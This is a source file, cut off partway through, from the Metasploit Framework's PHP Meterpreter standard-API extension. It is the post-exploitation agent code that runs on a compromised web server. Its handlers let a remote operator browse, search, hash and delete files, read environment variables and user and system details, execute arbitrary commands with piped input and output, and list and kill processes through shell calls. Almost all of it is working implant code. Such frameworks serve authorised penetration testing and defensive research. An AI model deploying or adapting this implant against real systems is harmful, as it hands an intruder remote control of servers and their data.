metasploit-framework/data/meterpreter/ext_server_stdapi.php

1118 lines
38 KiB
PHP
Executable File

#<?php
##
# STDAPI
##
##
# General
##
define("TLV_TYPE_HANDLE", TLV_META_TYPE_QWORD | 600);
define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601);
define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_QWORD | 630);
define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_QWORD | 631);
##
# Fs
##
define("TLV_TYPE_DIRECTORY_PATH", TLV_META_TYPE_STRING | 1200);
define("TLV_TYPE_FILE_NAME", TLV_META_TYPE_STRING | 1201);
define("TLV_TYPE_FILE_PATH", TLV_META_TYPE_STRING | 1202);
define("TLV_TYPE_FILE_MODE", TLV_META_TYPE_STRING | 1203);
define("TLV_TYPE_FILE_SIZE", TLV_META_TYPE_UINT | 1204);
define("TLV_TYPE_STAT_BUF", TLV_META_TYPE_COMPLEX | 1220);
define("TLV_TYPE_SEARCH_RECURSE", TLV_META_TYPE_BOOL | 1230);
define("TLV_TYPE_SEARCH_GLOB", TLV_META_TYPE_STRING | 1231);
define("TLV_TYPE_SEARCH_ROOT", TLV_META_TYPE_STRING | 1232);
define("TLV_TYPE_SEARCH_RESULTS", TLV_META_TYPE_GROUP | 1233);
##
# Net
##
define("TLV_TYPE_HOST_NAME", TLV_META_TYPE_STRING | 1400);
define("TLV_TYPE_PORT", TLV_META_TYPE_UINT | 1401);
define("TLV_TYPE_SUBNET", TLV_META_TYPE_RAW | 1420);
define("TLV_TYPE_NETMASK", TLV_META_TYPE_RAW | 1421);
define("TLV_TYPE_GATEWAY", TLV_META_TYPE_RAW | 1422);
define("TLV_TYPE_NETWORK_ROUTE", TLV_META_TYPE_GROUP | 1423);
define("TLV_TYPE_IP", TLV_META_TYPE_RAW | 1430);
define("TLV_TYPE_MAC_ADDRESS", TLV_META_TYPE_RAW | 1431);
define("TLV_TYPE_MAC_NAME", TLV_META_TYPE_STRING | 1432);
define("TLV_TYPE_NETWORK_INTERFACE", TLV_META_TYPE_GROUP | 1433);
define("TLV_TYPE_SUBNET_STRING", TLV_META_TYPE_STRING | 1440);
define("TLV_TYPE_NETMASK_STRING", TLV_META_TYPE_STRING | 1441);
define("TLV_TYPE_GATEWAY_STRING", TLV_META_TYPE_STRING | 1442);
# Socket
define("TLV_TYPE_PEER_HOST", TLV_META_TYPE_STRING | 1500);
define("TLV_TYPE_PEER_PORT", TLV_META_TYPE_UINT | 1501);
define("TLV_TYPE_LOCAL_HOST", TLV_META_TYPE_STRING | 1502);
define("TLV_TYPE_LOCAL_PORT", TLV_META_TYPE_UINT | 1503);
define("TLV_TYPE_CONNECT_RETRIES", TLV_META_TYPE_UINT | 1504);
define("TLV_TYPE_SHUTDOWN_HOW", TLV_META_TYPE_UINT | 1530);
##
# Sys
##
define("PROCESS_EXECUTE_FLAG_HIDDEN", (1 << 0));
define("PROCESS_EXECUTE_FLAG_CHANNELIZED", (1 << 1));
define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2));
define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3));
# Registry
define("TLV_TYPE_HKEY", TLV_META_TYPE_QWORD | 1000);
define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY);
define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001);
define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002);
define("TLV_TYPE_KEY_NAME", TLV_META_TYPE_STRING | 1003);
define("TLV_TYPE_VALUE_NAME", TLV_META_TYPE_STRING | 1010);
define("TLV_TYPE_VALUE_TYPE", TLV_META_TYPE_UINT | 1011);
define("TLV_TYPE_VALUE_DATA", TLV_META_TYPE_RAW | 1012);
# Config
define("TLV_TYPE_COMPUTER_NAME", TLV_META_TYPE_STRING | 1040);
define("TLV_TYPE_OS_NAME", TLV_META_TYPE_STRING | 1041);
define("TLV_TYPE_USER_NAME", TLV_META_TYPE_STRING | 1042);
define("TLV_TYPE_ARCHITECTURE", TLV_META_TYPE_STRING | 1043);
define("TLV_TYPE_LANG_SYSTEM", TLV_META_TYPE_STRING | 1044);
# Environment
define("TLV_TYPE_ENV_VARIABLE", TLV_META_TYPE_STRING | 1100);
define("TLV_TYPE_ENV_VALUE", TLV_META_TYPE_STRING | 1101);
define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102);
define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
# Process
define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2000);
define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001);
define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002);
define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003);
define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004);
define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2005);
define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006);
define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007);
define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008);
define("TLV_TYPE_PID", TLV_META_TYPE_UINT | 2300);
define("TLV_TYPE_PROCESS_NAME", TLV_META_TYPE_STRING | 2301);
define("TLV_TYPE_PROCESS_PATH", TLV_META_TYPE_STRING | 2302);
define("TLV_TYPE_PROCESS_GROUP", TLV_META_TYPE_GROUP | 2303);
define("TLV_TYPE_PROCESS_FLAGS", TLV_META_TYPE_UINT | 2304);
define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305);
define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400);
define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401);
define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402);
define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_QWORD | 2403);
define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_QWORD | 2404);
define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405);
define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406);
define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500);
define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502);
define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510);
define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_QWORD | 2511);
define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_QWORD | 2512);
define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513);
define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540);
define("TLV_TYPE_REGISTER_SIZE", TLV_META_TYPE_UINT | 2541);
define("TLV_TYPE_REGISTER_VALUE_32", TLV_META_TYPE_UINT | 2542);
define("TLV_TYPE_REGISTER", TLV_META_TYPE_GROUP | 2550);
##
# Ui
##
define("TLV_TYPE_IDLE_TIME", TLV_META_TYPE_UINT | 3000);
define("TLV_TYPE_KEYS_DUMP", TLV_META_TYPE_STRING | 3001);
define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002);
##
# Event Log
##
define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000);
define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_QWORD | 4001);
define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002);
define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003);
define("TLV_TYPE_EVENT_RECORDOFFSET", TLV_META_TYPE_UINT | 4004);
define("TLV_TYPE_EVENT_RECORDNUMBER", TLV_META_TYPE_UINT | 4006);
define("TLV_TYPE_EVENT_TIMEGENERATED", TLV_META_TYPE_UINT | 4007);
define("TLV_TYPE_EVENT_TIMEWRITTEN", TLV_META_TYPE_UINT | 4008);
define("TLV_TYPE_EVENT_ID", TLV_META_TYPE_UINT | 4009);
define("TLV_TYPE_EVENT_TYPE", TLV_META_TYPE_UINT | 4010);
define("TLV_TYPE_EVENT_CATEGORY", TLV_META_TYPE_UINT | 4011);
define("TLV_TYPE_EVENT_STRING", TLV_META_TYPE_STRING | 4012);
define("TLV_TYPE_EVENT_DATA", TLV_META_TYPE_RAW | 4013);
##
# Power
##
define("TLV_TYPE_POWER_FLAGS", TLV_META_TYPE_UINT | 4100);
define("TLV_TYPE_POWER_REASON", TLV_META_TYPE_UINT | 4101);
##
# Errors
##
# Special return value to match up with Windows error codes for network
# errors.
define("ERROR_CONNECTION_ERROR", 10000);
# Wrap everything in checks for existence of the new functions in case we get
# eval'd twice
my_print("Evaling stdapi");
##
# Search Helpers
##
# Stolen from user comments in http://us2.php.net/manual/en/function.glob.php
# The recursiveness was busted, fixed it by adding the path to the filename
# when checking whether we're looking at a directory.
# Used by stdapi_fs_search
/**#@+
* Extra GLOB constant for safe_glob()
*/
define('GLOB_NODIR',256);
define('GLOB_PATH',512);
define('GLOB_NODOTS',1024);
define('GLOB_RECURSE',2048);
/**#@-*/
/**
* A safe empowered glob().
*
* Function glob() is prohibited on some server (probably in safe mode)
* (Message "Warning: glob() has been disabled for security reasons in
* (script) on line (line)") for security reasons as stated on:
* http://seclists.org/fulldisclosure/2005/Sep/0001.html
*
* safe_glob() intends to replace glob() using readdir() & fnmatch() instead.
* Supported flags: GLOB_MARK, GLOB_NOSORT, GLOB_ONLYDIR
* Additional flags: GLOB_NODIR, GLOB_PATH, GLOB_NODOTS, GLOB_RECURSE
* (not original glob() flags)
* @author BigueNique AT yahoo DOT ca
* @updates
* - 080324 Added support for additional flags: GLOB_NODIR, GLOB_PATH,
* GLOB_NODOTS, GLOB_RECURSE
*/
if (!function_exists('safe_glob')) {
function safe_glob($pattern, $flags=0) {
$split=explode('/',str_replace('\\','/',$pattern));
$mask=array_pop($split);
$path=implode('/',$split);
if (($dir=opendir($path))!==false) {
$glob=array();
while (($file=readdir($dir))!==false) {
// Recurse subdirectories (GLOB_RECURSE)
if (
(
$flags&GLOB_RECURSE) && is_dir($path."/".$file)
&& (!in_array($file,array('.','..'))
# don't follow links to avoid infinite recursion
&& (!is_link($path."/".$file))
)
) {
$glob = array_merge($glob, array_prepend(safe_glob($path.'/'.$file.'/'.$mask, $flags),
($flags&GLOB_PATH?'':$file.'/')));
}
// Match file mask
if (fnmatch($mask,$file)) {
if ( ( (!($flags&GLOB_ONLYDIR)) || is_dir("$path/$file") )
&& ( (!($flags&GLOB_NODIR)) || (!is_dir($path.'/'.$file)) )
&& ( (!($flags&GLOB_NODOTS)) || (!in_array($file,array('.','..'))) ) )
$glob[] = ($flags&GLOB_PATH?$path.'/':'') . $file . ($flags&GLOB_MARK?'/':'');
}
}
closedir($dir);
if (!($flags&GLOB_NOSORT)) sort($glob);
return $glob;
} else {
return false;
}
}
}
/**
* A better "fnmatch" alternative for windows that converts a fnmatch
* pattern into a preg one. It should work on PHP >= 4.0.0.
* @author soywiz at php dot net
* @since 17-Jul-2006 10:12
*/
if (!function_exists('fnmatch')) {
function fnmatch($pattern, $string) {
return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string);
}
}
/**
* Prepends $string to each element of $array
* If $deep is true, will indeed also apply to sub-arrays
* @author BigueNique AT yahoo DOT ca
* @since 080324
*/
if (!function_exists('array_prepend')) {
function array_prepend($array, $string, $deep=false) {
if(empty($array)||empty($string)) return $array;
foreach($array as $key => $element)
if(is_array($element))
if($deep)
$array[$key] = array_prepend($element,$string,$deep);
else
trigger_error('array_prepend: array element',E_USER_WARNING);
else
$array[$key] = $string.$element;
return $array;
}
}
## END Search Helpers
if (!function_exists('cononicalize_path')) {
function cononicalize_path($path) {
$path = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $path);
return $path;
}
}
#
# Need to nail down what this should actually do. Ruby's File.expand_path is
# for cononicalizing a path (e.g., removing /./ and ../) and expanding "~" into
# a path to the current user's homedir. In contrast, Meterpreter has
# traditionally used this to get environment variables from the server.
#
if (!function_exists('stdapi_fs_file_expand_path')) {
register_command('stdapi_fs_file_expand_path');
function stdapi_fs_file_expand_path($req, &$pkt) {
my_print("doing expand_path");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$env = $path_tlv['value'];
my_print("Request for: '$env'");
if (!is_windows()) {
# Handle some basic windows-isms when we can
switch ($env) {
case "%COMSPEC%":
$path = "/bin/sh";
break;
case "%TEMP%":
case "%TMP%":
$path = "/tmp";
break;
default:
# Don't know what the user meant, just try it as an environment
# variable and hope for the best.
$path = getenv($env);
}
} else {
$path = getenv($env);
if (empty($path) and ($env == "%COMSPEC%")) {
# hope it's in the path
$path = "cmd.exe";
}
}
my_print("Returning with an answer of: '$path'");
if ($path) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path));
return ERROR_SUCCESS;
}
return ERROR_FAILURE;
}
}
if (!function_exists('stdapi_fs_delete_dir')) {
register_command('stdapi_fs_delete_dir');
function stdapi_fs_delete_dir($req, &$pkt) {
my_print("doing rmdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$ret = @rmdir(cononicalize_path($path_tlv['value']));
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
if (!function_exists('stdapi_fs_mkdir')) {
register_command('stdapi_fs_mkdir');
function stdapi_fs_mkdir($req, &$pkt) {
my_print("doing mkdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$ret = @mkdir(cononicalize_path($path_tlv['value']));
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_fs_chdir')) {
register_command('stdapi_fs_chdir');
function stdapi_fs_chdir($req, &$pkt) {
my_print("doing chdir");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$ret = @chdir(cononicalize_path($path_tlv['value']));
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_fs_delete')) {
register_command('stdapi_fs_delete');
function stdapi_fs_delete($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME);
$ret = @unlink(cononicalize_path($path_tlv['value']));
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
}
}
# works
if (!function_exists('stdapi_fs_getwd')) {
register_command('stdapi_fs_getwd');
function stdapi_fs_getwd($req, &$pkt) {
my_print("doing pwd");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd()));
return ERROR_SUCCESS;
}
}
# works partially, need to get the path argument to mean the same thing as in
# windows
if (!function_exists('stdapi_fs_ls')) {
register_command('stdapi_fs_ls');
function stdapi_fs_ls($req, &$pkt) {
my_print("doing ls");
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
$path = cononicalize_path($path_tlv['value']);
$dir_handle = @opendir($path);
if ($dir_handle) {
while ($file = readdir($dir_handle)) {
if ($file != "." && $file != "..") {
#my_print("Adding file $file");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file));
$st = stat($path . DIRECTORY_SEPARATOR . $file);
$st_buf = "";
$st_buf .= pack("V", $st['dev']);
$st_buf .= pack("v", $st['ino']);
$st_buf .= pack("v", $st['mode']);
$st_buf .= pack("v", $st['nlink']);
$st_buf .= pack("v", $st['uid']);
$st_buf .= pack("v", $st['gid']);
$st_buf .= pack("v", 0);
$st_buf .= pack("V", $st['rdev']);
$st_buf .= pack("V", $st['size']);
$st_buf .= pack("V", $st['atime']);
$st_buf .= pack("V", $st['mtime']);
$st_buf .= pack("V", $st['ctime']);
$st_buf .= pack("V", $st['blksize']);
$st_buf .= pack("V", $st['blocks']);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
}
}
closedir($dir_handle);
return ERROR_SUCCESS;
} else {
return ERROR_FAILURE;
}
}
}
if (!function_exists('stdapi_fs_separator')) {
register_command('stdapi_fs_separator');
function stdapi_fs_separator($req, &$pkt) {
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR));
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_fs_stat')) {
register_command('stdapi_fs_stat');
function stdapi_fs_stat($req, &$pkt) {
my_print("doing stat");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
$st = stat($path);
if ($st) {
$st_buf = "";
$st_buf .= pack("V", $st['dev']);
$st_buf .= pack("v", $st['ino']);
$st_buf .= pack("v", $st['mode']);
$st_buf .= pack("v", $st['nlink']);
$st_buf .= pack("v", $st['uid']);
$st_buf .= pack("v", $st['gid']);
$st_buf .= pack("v", 0);
$st_buf .= pack("V", $st['rdev']);
$st_buf .= pack("V", $st['size']);
$st_buf .= pack("V", $st['atime']);
$st_buf .= pack("V", $st['mtime']);
$st_buf .= pack("V", $st['ctime']);
$st_buf .= pack("V", $st['blksize']);
$st_buf .= pack("V", $st['blocks']);
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
return ERROR_SUCCESS;
} else {
return ERROR_FAILURE;
}
}
}
# works
if (!function_exists('stdapi_fs_delete_file')) {
register_command('stdapi_fs_delete_file');
function stdapi_fs_delete_file($req, &$pkt) {
my_print("doing delete");
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
if ($path && is_file($path)) {
$worked = @unlink($path);
return ($worked ? ERROR_SUCCESS : ERROR_FAILURE);
} else {
return ERROR_FAILURE;
}
}
}
if (!function_exists('stdapi_fs_search')) {
register_command('stdapi_fs_search');
function stdapi_fs_search($req, &$pkt) {
my_print("doing search");
$root_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_ROOT);
$root = cononicalize_path($root_tlv['value']);
$glob_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_GLOB);
$glob = cononicalize_path($glob_tlv['value']);
$recurse_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_RECURSE);
$recurse = $recurse_tlv['value'];
if (!$root) {
$root = '.';
}
my_print("glob: $glob, root: $root, recurse: $recurse");
$flags = GLOB_PATH;
if ($recurse) {
$flags |= GLOB_RECURSE;
}
$files = safe_glob($root ."/". $glob, $flags);
if ($files and is_array($files)) {
dump_array($files);
foreach ($files as $file) {
$file_tlvs = "";
$s = stat($file);
$p = dirname($file);
$f = basename($file);
$file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_PATH, $p));
$file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_NAME, $f));
$file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_SIZE, $s['size']));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_SEARCH_RESULTS, $file_tlvs));
}
}
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_fs_md5')) {
register_command("stdapi_fs_md5");
function stdapi_fs_md5($req, &$pkt) {
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
if (is_callable("md5_file")) {
$md5 = md5_file($path);
} else {
$md5 = md5(file_get_contents($path));
}
$md5 = pack("H*", $md5);
# Ghetto abuse of file name type to indicate the md5 result
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_fs_sha1')) {
register_command("stdapi_fs_sha1");
function stdapi_fs_sha1($req, &$pkt) {
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
$path = cononicalize_path($path_tlv['value']);
if (is_callable("sha1_file")) {
$sha1 = sha1_file($path);
} else {
$sha1 = sha1(file_get_contents($path));
}
$sha1 = pack("H*", $sha1);
# Ghetto abuse of file name type to indicate the sha1 result
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
return ERROR_SUCCESS;
}
}
# Sys Config
# works
if (!function_exists('stdapi_sys_config_getuid')) {
register_command('stdapi_sys_config_getuid');
function stdapi_sys_config_getuid($req, &$pkt) {
my_print("doing getuid");
if (is_callable('posix_getuid')) {
$uid = posix_getuid();
$pwinfo = posix_getpwuid($uid);
$user = $pwinfo['name'] . " ($uid)";
} else {
# The posix functions aren't available, this is probably windows. Use
# the functions for getting user name and uid based on file ownership
# instead.
$user = get_current_user() . " (" . getmyuid() . ")";
}
packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user));
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_sys_config_getenv')) {
register_command('stdapi_sys_config_getenv');
function stdapi_sys_config_getenv($req, &$pkt) {
my_print("doing getenv");
$variable_tlvs = packet_get_all_tlvs($req, TLV_TYPE_ENV_VARIABLE);
# If we decide some day to have sys.config.getenv return all env
# vars when given an empty search list, this is one way to do it.
#if (empty($variable_tlvs)) {
# # We don't have a var to look up, return all of 'em
# $variables = array_keys($_SERVER);
#} else {
# $variables = array();
# foreach ($variable_tlvs as $tlv) {
# array_push($variables, $tlv['value']);
# }
#}
foreach ($variable_tlvs as $name) {
$canonical_name = str_replace(array("$","%"), "", $name['value']);
$env = getenv($canonical_name);
if ($env !== FALSE) {
$grp = "";
$grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VARIABLE, $canonical_name));
$grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VALUE, $env));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_ENV_GROUP, $grp));
}
}
return ERROR_SUCCESS;
}
}
# Unimplemented becuase it's unimplementable
#if (!function_exists('stdapi_sys_config_rev2self')) {
#register_command('stdapi_sys_config_rev2self');
#function stdapi_sys_config_rev2self($req, &$pkt) {
# my_print("doing rev2self");
# return ERROR_FAILURE;
#}
#}
# works
if (!function_exists('stdapi_sys_config_sysinfo')) {
register_command('stdapi_sys_config_sysinfo');
function stdapi_sys_config_sysinfo($req, &$pkt) {
my_print("doing sysinfo");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n")));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname()));
return ERROR_SUCCESS;
}
}
# Global list of processes so we know what to kill when a channel gets closed
$GLOBALS['processes'] = array();
if (!function_exists('stdapi_sys_process_execute')) {
register_command('stdapi_sys_process_execute');
function stdapi_sys_process_execute($req, &$pkt) {
global $channel_process_map, $processes;
my_print("doing execute");
$cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH);
$args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS);
$flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS);
$cmd = $cmd_tlv['value'];
$args = $args_tlv['value'];
$flags = $flags_tlv['value'];
# If there was no command specified, well, a user sending an empty command
# deserves failure.
my_print("Cmd: $cmd $args");
if (0 > strlen($cmd)) {
return ERROR_FAILURE;
}
$real_cmd = $cmd ." ". $args;
$pipe_desc = array(array('pipe','r'), array('pipe','w'));
if (is_windows()) {
# see http://us2.php.net/manual/en/function.proc-open.php#97012
array_push($pipe_desc, array('pipe','a'));
} else {
array_push($pipe_desc, array('pipe','w'));
}
# Now that we've got the command built, run it. If it worked, we'll send
# back a handle identifier.
$handle = proc_open($real_cmd, $pipe_desc, $pipes);
if (!is_resource($handle)) {
return ERROR_FAILURE;
}
if (is_callable('proc_get_status')) {
$status = proc_get_status($handle);
$pid = $status['pid'];
} else {
$pid = 0;
}
$proc = array( 'handle' => $handle, 'pipes' => $pipes );
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, $pid));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)));
if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
my_print("Channelized");
# Then the client wants a channel set up to handle this process' stdio,
# register all the necessary junk to make that happen.
foreach ($pipes as $p) {
register_stream($p);
}
#stream_set_blocking($pipes[0], 1);
#stream_set_blocking($pipes[1], 1);
#stream_set_blocking($pipes[2], 1);
$cid = register_channel($pipes[0], $pipes[1], $pipes[2]);
$channel_process_map[$cid] = $proc;
$proc['cid'] = $cid;
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
#} else {
# Otherwise, don't care about stdin/stdout, just run the command
}
$processes[] = $proc;
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_sys_process_close')) {
register_command('stdapi_sys_process_close');
function stdapi_sys_process_close($req, &$pkt) {
global $processes;
my_print("doing process_close");
$handle_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_HANDLE);
if (array_key_exists($handle_tlv['value'], $processes)) {
close_process($processes[$handle_tlv['value']]);
}
return ERROR_SUCCESS;
}
}
if (!function_exists('close_process')) {
function close_process($proc) {
if ($proc) {
my_print("Closing process handle {$proc['handle']}");
# In the case of a channelized process, this will be redundant as the
# channel_close will also try to close all of these handles. There's no
# real harm in that, so go ahead and just always make sure they get
# closed.
foreach ($proc['pipes'] as $f) {
@fclose($f);
}
if (is_callable('proc_get_status')) {
$status = proc_get_status($proc['handle']);
} else {
# fake a running process on php < 4.3
$status = array('running' => true);
}
# proc_close blocks waiting for the child to exit, so if it's still
# running, don't take a chance on deadlock and just sigkill it if we
# can. We can't on php < 4.3, so don't do anything. This will leave
# zombie processes, but that's better than deadlock.
if ($status['running'] == false) {
proc_close($proc['handle']);
} else {
if (is_callable('proc_terminate')) {
proc_terminate($proc['handle'], 9);
}
}
if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) {
unset($channel_process_map[$proc['cid']]);
}
}
}
}
# Works, but not very portable. There doesn't appear to be a PHP way of
# getting a list of processes, so we just shell out to ps/tasklist.exe. I need
# to decide what options to send to ps for portability and for information
# usefulness.
if (!function_exists('stdapi_sys_process_get_processes')) {
register_command('stdapi_sys_process_get_processes');
function stdapi_sys_process_get_processes($req, &$pkt) {
my_print("doing get_processes");
$list = array();
if (is_windows()) {
# This command produces a line like:
# "tasklist.exe","2264","Console","0","4,556 K","Running","EGYPT-B3E55BF3C\Administrator","0:00:00","OleMainThreadWndName"
$output = my_cmd("tasklist /v /fo csv /nh");
$lines = explode("\n", trim($output));
foreach ($lines as $line) {
$line = trim($line);
#
# Ghetto CSV parsing
#
$pieces = preg_split('/","/', $line);
# Strip off the initial quote on the first and last elements
$pieces[0] = substr($pieces[0], 1, strlen($pieces[0]));
$cnt = count($pieces) - 1;
$pieces[$cnt] = substr($pieces[$cnt], 1, strlen($pieces[$cnt]));
$proc_info = array($pieces[1], $pieces[6], $pieces[0]);
array_push($list, $proc_info);
}
} else {
# This command produces a line like:
# 1553 root /sbin/getty -8 38400 tty1
$output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null");
$lines = explode("\n", trim($output));
foreach ($lines as $line) {
array_push($list, preg_split("/\s+/", trim($line)));
}
}
foreach ($list as $proc) {
$grp = "";
$grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0]));
$grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1]));
$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2]));
# Strip the pid and the user name off the front; the rest will be the
# full command line
array_shift($proc);
array_shift($proc);
$grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " ")));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp));
}
return ERROR_SUCCESS;
}
}
# works
if (!function_exists('stdapi_sys_process_getpid')) {
register_command('stdapi_sys_process_getpid');
function stdapi_sys_process_getpid($req, &$pkt) {
my_print("doing getpid");
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
return ERROR_SUCCESS;
}
}
if (!function_exists('stdapi_sys_process_kill')) {
register_command('stdapi_sys_process_kill');
function stdapi_sys_process_kill($req, &$pkt) {
# The existence of posix_kill is unlikely (it's a php compile-time option
# that isn't enabled by default, but better to try it and avoid shelling
# out when unnecessary.
my_print("doing kill");
$pid_tlv = packet_get_tlv($req, TLV_TYPE_PID);
$pid = $pid_tlv['value'];
if (is_callable('posix_kill')) {
$ret = posix_kill($pid, 9);
$ret = $ret ? ERROR_SUCCESS : posix_get_last_error();
if ($ret != ERROR_SUCCESS) {
my_print(posix_strerror($ret));
}
} else {
$ret = ERROR_FAILURE;
if (is_windows()) {
my_cmd("taskkill /f /pid $pid");
# Don't know how to check for success yet, so just assume it worked
$ret = ERROR_SUCCESS;
} else {
if ("foo" == my_cmd("kill -9 $pid && echo foo")) {
$ret = ERROR_SUCCESS;
}
}
}
return $ret;
}
}
if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
register_command('stdapi_net_socket_tcp_shutdown');
function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
my_print("doing stdapi_net_socket_tcp_shutdown");
$cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
$c = get_channel_by_id($cid_tlv['value']);
if ($c && $c['type'] == 'socket') {
@socket_shutdown($c[0], $how);
$ret = ERROR_SUCCESS;
} else {
$ret = ERROR_FAILURE;
}
return $ret;
}
}
#
# Registry
#
if (!function_exists('register_registry_key')) {
$_GLOBALS['registry_handles'] = array();
function register_registry_key($key) {
